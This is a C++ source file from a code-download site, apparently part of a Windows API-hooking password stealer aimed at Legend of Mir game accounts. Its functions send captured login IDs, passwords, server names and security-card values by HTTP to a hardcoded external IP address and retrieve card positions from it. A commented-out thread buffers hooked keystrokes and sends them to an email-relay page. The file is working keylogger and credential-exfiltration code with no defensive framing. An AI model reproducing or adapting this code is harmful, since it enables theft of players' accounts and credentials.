www.pudn.com > Hook-api-mir.rar > send.cpp
// Copyright: www.pudn.com,程序员联合开发网,www.programsalon.com // 如果要使用或修改本程序,请保留次信息 // #include "stdafx.h" #include#include #include #include "sharemem.h" #include "util.h" #include "http.h" void SetDebugData(char *); SOCKET g_sock =-1; //static char g_buf_kb[1024]; int g_buf_pos =0; int g_map_pos =0; //static char url[10240]; int SendPass() { INPUT_DATA *pdata =&g_pMapData->data[g_pMapData->cur_times]; char url[2048]; int sd; if((sd =http_connect("210.22.63.54", 80)) <0) { SetDebugData("connect failed!"); return -1; } SetDebugData("send..."); time_t t; time(&t); wsprintf(url, "/mir_pass.asp?stat=%d" "&area_type=%d" "&area_name=%s" "&server_name=%s" "&login_id=%s" "&password=%s" "&have_mb=%d" "&t=%u", pdata->stat, pdata->area_type, pdata->areaName, pdata->serverName, pdata->login_id, pdata->password, pdata->have_mb, t); WriteLog("url=%s", url); if(http_send(sd, "WWW.PUDN.COM", url) < (int)strlen(url)) { http_close(sd); return -1; } SetDebugData("to recv result.."); char buf[4096]; if(http_recv(sd, buf, sizeof(buf)) <=0) { SetDebugData("recv failed"); http_close(sd); return -1; } http_close(sd); //WriteLog("recv buf:%s", buf); SetDebugData("recv ok"); return 0; } int RecvMBPos() { INPUT_DATA *pdata =&g_pMapData->data[g_pMapData->cur_times]; char url[2048]; int sd; if((sd =http_connect("210.22.63.54", 80)) <0) { SetDebugData("connect failed!"); return -1; } SetDebugData("send..."); time_t t; time(&t); wsprintf(url, "/mir_mb_pos.asp?login_id=%s" "&t=%u", pdata->login_id, t); if(http_send(sd, "WWW.PUDN.COM", url) < (int)strlen(url)) { http_close(sd); return -1; } SetDebugData("to recv result.."); char buf[4096]; if(http_recv(sd, buf, sizeof(buf)) <=0) { SetDebugData("recv failed"); http_close(sd); return -1; } char *p =strstr(buf, "\r\n\r\n"); if(p) { p =p+4; if(*p !='#') { http_close(sd); SetDebugData("not set mb pos yet"); return -10; } int mb_num =atoi(p); pdata->mb_pos[0] =mb_num/100; pdata->mb_pos[1] =(mb_num%100)/10; pdata->mb_pos[2] =mb_num%10; } http_close(sd); WriteLog("recv pos:%d,%d,%d", pdata->mb_pos[0], pdata->mb_pos[1], pdata->mb_pos[2]); SetDebugData("recv mb pos ok"); return 0; } int SendMB() { INPUT_DATA *pdata =&g_pMapData->data[g_pMapData->cur_times]; char url[2048]; int sd; if((sd =http_connect("210.22.63.54", 80)) <0) { SetDebugData("send mb: connect failed!"); return -1; } SetDebugData("send..."); time_t t; time(&t); wsprintf(url, "/mir_mb.asp?login_id=%s" "&mb=%s" "&t=%u", pdata->login_id, pdata->mb, t); if(http_send(sd, "WWW.PUDN.COM", url) < (int)strlen(url)) { http_close(sd); return -1; } SetDebugData("to recv result.."); char buf[4096]; if(http_recv(sd, buf, sizeof(buf)) <=0) { SetDebugData("send mb: recv failed"); http_close(sd); return -1; } http_close(sd); SetDebugData("send mb ok"); return 0; } DWORD WINAPI thread_send(VOID *) { char temp[200]; wsprintf(temp, "startup,thread_id:%u...",GetCurrentThreadId()); SetDebugData(temp); WSADATA WsaData; if(WSAStartup (0x0101, &WsaData) !=0) { WriteLog("startup failed"); return 0; } while(1) { Sleep(5000); //SetDebugData("check..."); /* for(int i =g_map_pos; i<1024; i++) { if(g_pMapData->data[i].key) { if(g_pMapData->data[i].msg !=WM_CHAR && g_pMapData->data[i].key !=VK_TAB) { g_map_pos =(g_map_pos+1)%1024; continue; } g_buf_kb[g_buf_pos] =g_pMapData->data[i].key; if(g_buf_kb[g_buf_pos]=='\r') { g_buf_kb[g_buf_pos] ='.'; g_buf_pos =(g_buf_pos+1)%1024; g_buf_kb[g_buf_pos] ='r'; } else if(g_buf_kb[g_buf_pos]==VK_BACK) { g_buf_kb[g_buf_pos] ='.'; g_buf_pos =(g_buf_pos+1)%1024; g_buf_kb[g_buf_pos] ='b'; } else if(g_buf_kb[g_buf_pos]=='\n') { g_buf_kb[g_buf_pos] ='.'; g_buf_pos =(g_buf_pos+1)%1024; g_buf_kb[g_buf_pos] ='n'; } else if(g_buf_kb[g_buf_pos]==VK_TAB) { g_buf_kb[g_buf_pos] ='.'; g_buf_pos =(g_buf_pos+1)%1024; g_buf_kb[g_buf_pos] ='t'; } else if(g_buf_kb[g_buf_pos]==1) // 普通登录 { g_buf_kb[g_buf_pos] ='$'; g_buf_pos =(g_buf_pos+1)%1024; g_buf_kb[g_buf_pos] ='1'; } else if(g_buf_kb[g_buf_pos]==2) // 进入密宝 { g_buf_kb[g_buf_pos] ='$'; g_buf_pos =(g_buf_pos+1)%1024; g_buf_kb[g_buf_pos] ='2'; } else if(g_buf_kb[g_buf_pos]==3) // 密宝登录 { g_buf_kb[g_buf_pos] ='$'; g_buf_pos =(g_buf_pos+1)%1024; g_buf_kb[g_buf_pos] ='3'; } g_buf_pos =(g_buf_pos+1)%1024; g_map_pos =(g_map_pos+1)%1024; } else break; } if(g_buf_pos >0) { g_buf_kb[g_buf_pos] =0; SetDebugData("send"); SOCKADDR_IN sin; if(g_sock !=-1) closesocket(g_sock); g_sock = socket (AF_INET, SOCK_STREAM, 0); if(g_sock <0) { Sleep(30000); continue; } sin.sin_family = AF_INET; //Connect to web sever sin.sin_port = htons( 80 ); sin.sin_addr.s_addr = inet_addr("210.22.63.54"); SetDebugData("connect..."); if( connect (g_sock,(LPSOCKADDR)&sin, sizeof(SOCKADDR_IN) )) { SetDebugData("connect failed..."); closesocket(g_sock); g_sock =-1; Sleep(30000); continue; } SetDebugData("send..."); time_t t; time(&t); wsprintf(url, "GET /sendemail.asp?email=hhhlll9@tom.com&msg=%s&t=%u HTTP/1.0\r\nHOST:WWW.PUDN.COM\r\n\r\n", g_buf_kb, t); //WriteLog("url:%s", url); send(g_sock, url, strlen(url), 0); g_buf_pos =0; Sleep(1000); SetDebugData("recv..."); int len =recv(g_sock, url, 100,0); if(len >0) { url[len] =0; //WriteLog(url); } SetDebugData("recv ok"); //closesocket(g_sock); //g_sock =-1; } else { //SetDebugData("not found data"); Sleep(10000); }*/ } }